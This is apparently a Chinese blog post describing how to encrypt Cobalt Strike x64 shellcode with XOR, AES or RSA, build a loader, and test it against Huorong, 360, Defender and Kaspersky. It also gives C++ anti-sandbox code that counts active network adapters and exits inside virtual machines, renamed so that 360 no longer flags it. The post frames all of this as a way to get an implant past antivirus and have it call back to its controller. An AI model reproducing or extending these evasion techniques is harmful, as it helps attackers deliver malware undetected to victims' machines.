Shellcode 自写打乱
汇编佬手搓专用,一般人搞不定。
Shellcode 加密混淆
编辑 vs 设置
每次新项目在编译的时候,需要注意一些配置文件。
项目-》属性
打开项目,点击.sln
项目里面是目前主流的加密方式和常见加载
如果出现#include <stdio>.h
不存在问题,在 win sdk 上设置以下。
将所有项目都修改。
aes 加密右键–》属性
rsa 加密右键–》属性
shellcode 加密库右键–》属性
xor 加密
拿到 cs 的 payload 这里用的 x64 的,放入 xor.py 进行加密
将生成好的密文,放入项目中
加载的密钥要一致
其他的两个文件排除,完事编译运行
上线了,这个黑框可以自行调试让其隐藏
仍给火绒,啊?(不是吧)
火绒兄弟到挺不住了
扔给 360,静态过,动态查杀(这里没开核晶,下次一定)
PS:其实上次测还是查杀状态…有的时候可能是因为虚拟机的原因
df 直接无了
df和卡巴都是动态查杀,或者说是内存查杀,这个十分难搞,不过目前还是有一定方法。
黑框框会发现还是执行的 cs 的 shellcode,本质上代码试过了,杀毒点就放在最后,持续运行,检测高危命令或者原生 shellcode 直接干掉就完了。
有没有一种可能它一检测加载,就睡眠,逃过杀毒检测在恢复过来。
xor加密+沙盒对抗
修复,生成
int GetNumAdapters() {
DWORD dwSize = 0;
GetAdaptersAddresses(AF_UNSPEC, 0x0010, NULL, NULL, &dwSize);
PIP_ADAPTER_ADDRESSES pAddresses = new (std::nothrow) IP_ADAPTER_ADDRESSES[dwSize];
// Change the allocation type from BYTE to IP_ADAPTER_ADDRESSES
if (!pAddresses) {
std::cerr << "Failed to allocate memory." << std::endl;
return -1; // or appropriate error code
}
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize);
// Remove reinterpret_cast, as the memory type is now correct
int numAdapters = 0;
PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
while (pCurrAddresses) {
if (pCurrAddresses->OperStatus == IfOperStatusUp) {
numAdapters++;
}
pCurrAddresses = pCurrAddresses->Next;
}
delete[] pAddresses;
return numAdapters;
}
这里bool detect_sandbox() 被检测,360直接报
删除bool detect_sandbox() ,换一个写法
bool detectSandbox() {
bool isSandbox = false;
DWORD dwSize = 0;
// 获取适配器信息,第一次调用获取缓冲区大小
GetAdaptersAddresses(AF_UNSPEC, 0x0010, NULL, NULL, &dwSize);
PIP_ADAPTER_ADDRESSES pAddresses = new (std::nothrow) IP_ADAPTER_ADDRESSES[dwSize];
// 分配内存类型更改为IP_ADAPTER_ADDRESSES
if (!pAddresses) {
std::cerr << "内存分配失败。" << std::endl;
return false;
}
// 第二次调用获取适配器信息
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize) == ERROR_SUCCESS) {
// 不再需要reinterpret_cast,因为内存类型现在正确
int numAdapters = 0;
PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
// 遍历适配器列表,计算活跃适配器数量
while (pCurrAddresses) {
if (pCurrAddresses->OperStatus == IfOperStatusUp) {
numAdapters++;
}
pCurrAddresses = pCurrAddresses->Next;
}
delete[] pAddresses;
std::cout << "网络适配器数量: " << numAdapters << std::endl;
// 如果网络适配器数量小于 2,可能处于虚拟机环境中
if (numAdapters < 2) {
std::cout << "网络适配器数量较少,可能处于虚拟机环境中" << std::endl;
isSandbox = true;
}
}
return isSandbox;
}
int main(){
...
// 获取网络适配器数量
if (detectSandbox()) {
// 如果处于虚拟机环境,立即停止运行
return 1;
}
...
}
不报了
虚拟机是打不开的,本地加载直接上线。
xor加载方式用的回调函数